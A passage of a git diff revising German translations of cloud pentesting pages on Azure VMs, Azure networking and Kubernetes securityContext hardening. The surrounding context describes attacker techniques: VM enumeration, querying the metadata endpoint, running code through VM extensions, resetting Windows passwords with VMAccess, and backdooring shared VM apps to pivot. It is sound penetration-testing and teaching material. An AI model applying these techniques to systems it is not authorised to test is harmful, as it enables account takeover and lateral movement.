**`AzureBastionSubnet`** mit einer `/26` Netzmaske im VNet, in dem er arbeiten muss. Dann ermöglicht es, **eine Verbindung zu internen VMs über den Browser** unter Verwendung von `RDP` und `SSH`, wodurch Ports der VMs nicht dem Internet ausgesetzt werden. Es kann auch als **Jump-Host** fungieren. Um alle Azure Bastion-Hosts in Ihrem Abonnement aufzulisten und über diese eine Verbindung zu VMs herzustellen, können Sie die folgenden Befehle verwenden: @@ -191,15 +191,18 @@ Get-AzBastion Der Azure Instance Metadata Service (IMDS) **stellt Informationen über laufende virtuelle Maschineninstanzen bereit**, um deren Verwaltung und Konfiguration zu unterstützen. Er bietet Details wie SKU, Speicher, Netzwerkkonfigurationen und Informationen über bevorstehende Wartereignisse über **REST API, die unter der nicht routbaren IP-Adresse 169.254.169.254** verfügbar ist, die nur von innerhalb der VM zugänglich ist. Die Kommunikation zwischen der VM und IMDS bleibt innerhalb des Hosts, was einen sicheren Zugriff gewährleistet. Bei der Abfrage von IMDS sollten HTTP-Clients innerhalb der VM Web-Proxy-Server umgehen, um eine ordnungsgemäße Kommunikation sicherzustellen. -Darüber hinaus muss die HTTP-Anfrage, um den Metadaten-Endpunkt zu kontaktieren, den Header **`Metadata: true`** enthalten und darf nicht den Header **`X-Forwarded-For`** haben. +Darüber hinaus muss die HTTP-Anfrage, um den Metadatenendpunkt zu kontaktieren, den Header **`Metadata: true`** enthalten und darf nicht den Header **`X-Forwarded-For`** haben. -Überprüfen Sie, wie man es auflistet in: +Überprüfen Sie, wie Sie es auflisten können in: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm {{#endref}} ## VM-Auflistung + +{{#tabs}} +{{#tab name="az cli"}} ```bash # VMs ## List all VMs and get info about one @@ -335,7 +338,9 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[] # List all available run commands for virtual machines az vm run-command list --output table ``` +{{#endtab }} +{{#tab name="Az Powershell" }} ```bash # Get readable VMs Get-AzVM | fl @@ -427,13 +432,16 @@ Get-AzStorageAccount Get-AzVMExtension -VMName -ResourceGroupName ``` +{{#endtab }} +{{#endtabs }} + ## Codeausführung in VMs ### VM-Erweiterungen Azure VM-Erweiterungen sind kleine Anwendungen, die **Konfiguration nach der Bereitstellung** und Automatisierungsaufgaben auf Azure-virtuellen Maschinen (VMs) bereitstellen. -Dies würde es ermöglichen, **willkürlichen Code innerhalb von VMs auszuführen**. +Dies würde es ermöglichen, **beliebigen Code innerhalb von VMs auszuführen**. Die erforderliche Berechtigung ist **`Microsoft.Compute/virtualMachines/extensions/write`**. @@ -539,7 +547,7 @@ Die erforderliche Berechtigung ist weiterhin **`Microsoft.Compute/virtualMachine VMAccess-Erweiterung -Diese Erweiterung ermöglicht es, das Passwort von Benutzern innerhalb von Windows-VMs zu ändern (oder zu erstellen, wenn es nicht existiert). +Diese Erweiterung ermöglicht es, das Passwort (oder zu erstellen, wenn es nicht existiert) von Benutzern innerhalb von Windows-VMs zu ändern. ```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password @@ -627,7 +635,7 @@ Dies sind die Pfade, wo die Anwendungen im Dateisystem heruntergeladen werden: > [!CAUTION] > Es ist möglich, **einzelne Apps und Galerien mit anderen Abonnements oder Mandanten zu teilen**. Was sehr interessant ist, da es einem Angreifer ermöglichen könnte, eine Anwendung zu hintertüren und zu anderen Abonnements und Mandanten zu pivotieren. -Aber es **gibt keinen "Marktplatz" für VM-Apps** wie für Erweiterungen. +Aber es **gibt keinen "Marktplatz" für VM-Apps** wie es für Erweiterungen gibt. Die erforderlichen Berechtigungen sind: @@ -721,11 +729,11 @@ az vm application set \ ### Benutzerdaten -Dies sind **persistente Daten**, die jederzeit vom Metadaten-Endpunkt abgerufen werden können. Beachten Sie, dass in Azure Benutzerdaten sich von AWS und GCP unterscheiden, da **wenn Sie hier ein Skript platzieren, es standardmäßig nicht ausgeführt wird**. +Dies sind **persistente Daten**, die jederzeit über den Metadaten-Endpunkt abgerufen werden können. Beachten Sie, dass in Azure Benutzerdaten sich von AWS und GCP unterscheiden, da **wenn Sie hier ein Skript platzieren, es standardmäßig nicht ausgeführt wird**. ### Benutzerspezifische Daten -Es ist möglich, einige Daten an die VM zu übergeben, die an erwarteten Pfaden gespeichert werden: +Es ist möglich, einige Daten an die VM zu übergeben, die an den erwarteten Pfaden gespeichert werden: - In **Windows** werden benutzerspezifische Daten in `%SYSTEMDRIVE%\AzureData\CustomData.bin` als Binärdatei abgelegt und nicht verarbeitet. - In **Linux** wurden sie in `/var/lib/waagent/ovf-env.xml` gespeichert und jetzt werden sie in `/var/lib/waagent/CustomData/ovf-env.xml` gespeichert. diff --git a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md index 31a7a0347..b26b45737 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md @@ -9,10 +9,10 @@ Darüber hinaus ist es möglich, VNets mit anderen VNets und mit lokalen Netzwer ## Virtuelles Netzwerk (VNET) & Subnetze -Ein Azure Virtual Network (VNet) ist eine Darstellung Ihres eigenen Netzwerks in der Cloud, die **logische Isolation** innerhalb der Azure-Umgebung bietet, die Ihrer Abonnements zugeordnet ist. VNets ermöglichen es Ihnen, virtuelle private Netzwerke (VPNs) in Azure bereitzustellen und zu verwalten, die Ressourcen wie virtuelle Maschinen (VMs), Datenbanken und Anwendungsdienste hosten. Sie bieten **vollständige Kontrolle über Netzwerkeinstellungen**, einschließlich IP-Adressbereiche, Erstellung von Subnetzen, Routing-Tabellen und Netzwerk-Gateways. +Ein Azure Virtual Network (VNet) ist eine Darstellung Ihres eigenen Netzwerks in der Cloud, die **logische Isolation** innerhalb der Azure-Umgebung bietet, die Ihrer Abonnements zugeordnet ist. VNets ermöglichen es Ihnen, virtuelle private Netzwerke (VPNs) in Azure bereitzustellen und zu verwalten, die Ressourcen wie virtuelle Maschinen (VMs), Datenbanken und Anwendungsdienste hosten. Sie bieten **vollständige Kontrolle über Netzwerkeinstellungen**, einschließlich IP-Adressbereiche, Erstellung von Subnetzen, Routentabellen und Netzwerk-Gateways. **Subnetze** sind Unterteilungen innerhalb eines VNet, die durch spezifische **IP-Adressbereiche** definiert sind. Durch die Segmentierung eines VNet in mehrere Subnetze können Sie Ressourcen gemäß Ihrer Netzwerkarchitektur organisieren und sichern.\ -Standardmäßig können alle Subnetze innerhalb des gleichen Azure Virtual Network (VNet) **miteinander kommunizieren**, ohne Einschränkungen. +Standardmäßig können alle Subnetze innerhalb desselben Azure Virtual Network (VNet) **miteinander kommunizieren**, ohne Einschränkungen. **Beispiel:** @@ -91,19 +91,20 @@ Get-AzNetworkSecurityGroup -Name -ResourceGroupName [!CAUTION] > NSGs gelten nicht für private Endpunkte, was eindeutig bedeutet, dass die Zuordnung eines NSG zu einem Subnetz, das den Private Link enthält, keine Auswirkungen hat. @@ -295,11 +296,11 @@ Get-AzFrontDoorWafPolicy -Name -ResourceGroupName - **Beispiel:** -Stellen Sie sich ein Unternehmen mit separaten Abteilungen wie Vertrieb, Personalwesen und Entwicklung vor, **die jeweils ihr eigenes VNet (die Speichen) haben**. Diese VNets **benötigen Zugriff auf gemeinsame Ressourcen** wie eine zentrale Datenbank, eine Firewall und ein Internet-Gateway, die sich alle in **einem anderen VNet (dem Hub)** befinden. Durch die Verwendung des Hub- und Spoke-Modells kann jede Abteilung **sicher auf die gemeinsamen Ressourcen über das Hub-VNet zugreifen, ohne diese Ressourcen dem öffentlichen Internet auszusetzen** oder eine komplexe Netzwerkstruktur mit zahlreichen Verbindungen zu schaffen. +Stellen Sie sich ein Unternehmen mit separaten Abteilungen wie Vertrieb, Personalwesen und Entwicklung vor, **jede mit ihrem eigenen VNet (den Speichen)**. Diese VNets **benötigen Zugriff auf gemeinsame Ressourcen** wie eine zentrale Datenbank, eine Firewall und ein Internet-Gateway, die sich alle in **einem anderen VNet (dem Hub)** befinden. Durch die Verwendung des Hub- und Spoke-Modells kann jede Abteilung **sicher auf die gemeinsamen Ressourcen über das Hub-VNet zugreifen, ohne diese Ressourcen dem öffentlichen Internet auszusetzen** oder eine komplexe Netzwerkstruktur mit zahlreichen Verbindungen zu schaffen. ### Enumeration diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md index fcc32f203..c6594c74c 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md @@ -11,19 +11,20 @@ Beim Festlegen des Sicherheitskontexts eines Pods können Sie mehrere Attribute - **runASNonRoot** auf **True** setzen - **runAsUser** konfigurieren - Wenn möglich, **Berechtigungen** einschränken, indem Sie **seLinuxOptions** und **seccompProfile** angeben -- Geben Sie **keinen** Zugriff auf **Privilegierte** **Gruppen** über **runAsGroup** und **supplementaryGroups** +- Geben Sie **keinen** Zugriff auf **Privilegierte** **Gruppen** über **runAsGroup** und **supplementaryGroups**. -|

fsGroup
integer

|

Eine spezielle ergänzende Gruppe, die auf alle Container in einem Pod angewendet wird. Einige Volumentypen erlauben es dem Kubelet, die Eigentümerschaft dieses Volumens zu ändern, sodass es dem Pod gehört:
1. Die besitzende GID wird die FSGroup sein
2. Das setgid-Bit ist gesetzt (neue Dateien, die im Volumen erstellt werden, gehören der FSGroup)
3. Die Berechtigungsbits werden mit rw-rw---- OR'd. Wenn nicht gesetzt, wird das Kubelet die Eigentümerschaft und Berechtigungen des Volumens nicht ändern

| -| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -|

fsGroupChangePolicy
string

| Dies definiert das Verhalten beim **Ändern der Eigentümerschaft und Berechtigung des Volumens**, bevor es innerhalb des Pods exponiert wird. | -|

runAsGroup
integer

| Die **GID, unter der der Einstiegspunkt des Containerprozesses ausgeführt wird**. Verwendet den Standard zur Laufzeit, wenn nicht gesetzt. | -|

runAsNonRoot
boolean

| Gibt an, dass der Container als Nicht-Root-Benutzer ausgeführt werden muss. Wenn dies zutrifft, validiert das Kubelet das Image zur Laufzeit, um sicherzustellen, dass es nicht als UID 0 (Root) ausgeführt wird, und schlägt fehl, um den Container zu starten, wenn dies der Fall ist. | +| Parameter | Beschreibung | +|

fsGroup
integer

|

Eine spezielle ergänzende Gruppe, die auf alle Container in einem Pod angewendet wird. Einige Volumentypen erlauben es dem Kubelet, den Besitz dieses Volumens zu ändern, sodass es dem Pod gehört:
1. Die besitzende GID wird die FSGroup sein
2. Das setgid-Bit ist gesetzt (neue Dateien, die im Volumen erstellt werden, gehören zur FSGroup)
3. Die Berechtigungsbits werden mit rw-rw---- OR'd. Wenn nicht gesetzt, wird das Kubelet den Besitz und die Berechtigungen eines Volumens nicht ändern.

| + +|

fsGroupChangePolicy
string

| Dies definiert das Verhalten beim **Ändern des Besitzes und der Berechtigung des Volumens**, bevor es innerhalb des Pods exponiert wird. | +|

runAsGroup
integer

| Die **GID, unter der der Einstiegspunkt des Containerprozesses ausgeführt wird**. Verwendet die Standardlaufzeit, wenn nicht gesetzt. Kann auch im SecurityContext festgelegt werden. | +|

runAsNonRoot
boolean

| Gibt an, dass der Container als ein Nicht-Root-Benutzer ausgeführt werden muss. Wenn dies wahr ist, validiert das Kubelet das Image zur Laufzeit, um sicherzustellen, dass es nicht als UID 0 (Root) ausgeführt wird, und schlägt fehl, den Container zu starten, wenn dies der Fall ist. | |

runAsUser
integer

| Die **UID, unter der der Einstiegspunkt des Containerprozesses ausgeführt wird**. Standardmäßig wird der Benutzer verwendet, der in den Metadaten des Images angegeben ist, wenn nicht angegeben. | -|

seLinuxOptions
SELinuxOptions
Weitere Informationen zu seLinux

| Der **SELinux-Kontext, der auf alle Container angewendet werden soll**. Wenn nicht angegeben, weist die Containerlaufzeit jedem Container einen zufälligen SELinux-Kontext zu. | -|

seccompProfile
SeccompProfile
Weitere Informationen zu Seccomp

| Die **seccomp-Optionen, die von den Containern** in diesem Pod verwendet werden sollen. | +|

seLinuxOptions
SELinuxOptions
Weitere Informationen über seLinux

| Der **SELinux-Kontext, der auf alle Container angewendet werden soll**. Wenn nicht angegeben, weist die Containerlaufzeit jedem Container einen zufälligen SELinux-Kontext zu. | +|

seccompProfile
SeccompProfile
Weitere Informationen über Seccomp

| Die **seccomp-Optionen, die von den Containern** in diesem Pod verwendet werden. | |

supplementalGroups
integer array

| Eine Liste von **Gruppen, die auf den ersten Prozess angewendet werden, der in jedem Container ausgeführt wird**, zusätzlich zur primären GID des Containers. | -|

sysctls
Sysctl array
Weitere Informationen zu sysctls

| Sysctls halten eine Liste von **namespaced sysctls, die für den Pod verwendet werden**. Pods mit nicht unterstützten Sysctls (durch die Containerlaufzeit) könnten fehlschlagen. | -|

windowsOptions
WindowsSecurityContextOptions

| Die Windows-spezifischen Einstellungen, die auf alle Container angewendet werden. Wenn nicht angegeben, werden die Optionen innerhalb des Sicherheitskontexts eines Containers verwendet. | +|

sysctls
Sysctl array
Weitere Informationen über sysctls

| Sysctls halten eine Liste von **namespaced sysctls, die für den Pod verwendet werden**. Pods mit nicht unterstützten Sysctls (durch die Containerlaufzeit) könnten beim Starten fehlschlagen. | +|

windowsOptions
WindowsSecurityContextOptions

| Die Windows-spezifischen Einstellungen, die auf alle Container angewendet werden. Wenn nicht angegeben, werden die Optionen innerhalb des SecurityContext eines Containers verwendet. | ## SecurityContext @@ -35,23 +36,23 @@ Dieser Kontext wird innerhalb der **Containerdefinitionen** festgelegt. Aus der - Fügen Sie keine sensiblen **Capabilities** hinzu (und entfernen Sie die, die Sie nicht benötigen) - **privileged** auf **False** - Wenn möglich, setzen Sie **readOnlyFilesystem** auf **True** -- Setzen Sie **runAsNonRoot** auf **True** und setzen Sie eine **runAsUser** +- Setzen Sie **runAsNonRoot** auf **True** und legen Sie eine **runAsUser** fest - Wenn möglich, **Berechtigungen** einschränken, indem Sie **seLinuxOptions** und **seccompProfile** angeben -- Geben Sie **keinen** Zugriff auf **Privilegierte** **Gruppen** über **runAsGroup.** +- Geben Sie **keinen** Zugriff auf **Privilegierte** **Gruppen** über **runAsGroup**. Beachten Sie, dass die in **SecurityContext und PodSecurityContext** festgelegten Attribute, der in **SecurityContext** angegebene Wert **Vorrang** hat. -|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** steuert, ob ein Prozess **mehr Privilegien** als sein übergeordneter Prozess **erlangen kann**. Dieses Bool steuert direkt, ob das no_new_privs-Flag für den Containerprozess gesetzt wird. AllowPrivilegeEscalation ist immer true, wenn der Container als **Privilegiert** ausgeführt wird oder **CAP_SYS_ADMIN** hat. | +|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** steuert, ob ein Prozess **mehr Privilegien** als sein übergeordneter Prozess **erlangen kann**. Dieses Bool steuert direkt, ob das no_new_privs-Flag für den Containerprozess gesetzt wird. AllowPrivilegeEscalation ist immer wahr, wenn der Container als **Privilegiert** ausgeführt wird oder **CAP_SYS_ADMIN** hat. | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -|

capabilities
Capabilities
Weitere Informationen zu Capabilities

| Die **Capabilities, die beim Ausführen von Containern hinzugefügt/entfernt werden sollen**. Standardmäßig wird die Standardmenge von Capabilities verwendet. | -|

privileged
boolean

| Führen Sie den Container im privilegierten Modus aus. Prozesse in privilegierten Containern sind im Wesentlichen **äquivalent zu root auf dem Host**. Standardmäßig ist dies false. | +|

capabilities
Capabilities
Weitere Informationen über Capabilities

| Die **Capabilities, die beim Ausführen von Containern hinzugefügt/entfernt werden sollen**. Standardmäßig wird die Standardmenge an Capabilities verwendet. | +|

privileged
boolean

| Führen Sie den Container im privilegierten Modus aus. Prozesse in privilegierten Containern sind im Wesentlichen **äquivalent zu root auf dem Host**. Standardmäßig ist dies falsch. | |

procMount
string

| procMount bezeichnet den **Typ des proc-Mounts, der für die Container verwendet werden soll**. Der Standardwert ist DefaultProcMount, der die Standardwerte der Containerlaufzeit für schreibgeschützte Pfade und maskierte Pfade verwendet. | -|

readOnlyRootFilesystem
boolean

| Ob dieser **Container ein schreibgeschütztes Root-Dateisystem hat**. Standard ist false. | -|

runAsGroup
integer

| Die **GID, unter der der Einstiegspunkt** des Containerprozesses ausgeführt wird. Verwendet den Standard zur Laufzeit, wenn nicht gesetzt. | -|

runAsNonRoot
boolean

| Gibt an, dass der Container **als Nicht-Root-Benutzer ausgeführt werden muss**. Wenn dies zutrifft, validiert das Kubelet das Image zur Laufzeit, um sicherzustellen, dass es nicht als UID 0 (Root) ausgeführt wird, und schlägt fehl, um den Container zu starten, wenn dies der Fall ist. | +|

readOnlyRootFilesystem
boolean

| Ob dieser **Container ein schreibgeschütztes Root-Dateisystem hat**. Standardwert ist falsch. | +|

runAsGroup
integer

| Die **GID, unter der der Einstiegspunkt** des Containerprozesses ausgeführt wird. Verwendet die Standardlaufzeit, wenn nicht gesetzt. | +|

runAsNonRoot
boolean

| Gibt an, dass der Container **als ein Nicht-Root-Benutzer ausgeführt werden muss**. Wenn dies wahr ist, validiert das Kubelet das Image zur Laufzeit, um sicherzustellen, dass es nicht als UID 0 (Root) ausgeführt wird, und schlägt fehl, den Container zu starten, wenn dies der Fall ist. | |

runAsUser
integer

| Die **UID, unter der der Einstiegspunkt** des Containerprozesses ausgeführt wird. Standardmäßig wird der Benutzer verwendet, der in den Metadaten des Images angegeben ist, wenn nicht angegeben. | -|

seLinuxOptions
SELinuxOptions
Weitere Informationen zu seLinux

| Der **SELinux-Kontext, der auf den Container angewendet werden soll**. Wenn nicht angegeben, weist die Containerlaufzeit jedem Container einen zufälligen SELinux-Kontext zu. | -|

seccompProfile
SeccompProfile

| Die **seccomp-Optionen**, die von diesem Container verwendet werden sollen. | +|

seLinuxOptions
SELinuxOptions
Weitere Informationen über seLinux

| Der **SELinux-Kontext, der auf den Container angewendet werden soll**. Wenn nicht angegeben, weist die Containerlaufzeit jedem Container einen zufälligen SELinux-Kontext zu. | +|

seccompProfile
SeccompProfile

| Die **seccomp-Optionen**, die von diesem Container verwendet werden. | |

windowsOptions
WindowsSecurityContextOptions

| Die **Windows-spezifischen Einstellungen**, die auf alle Container angewendet werden. | ## References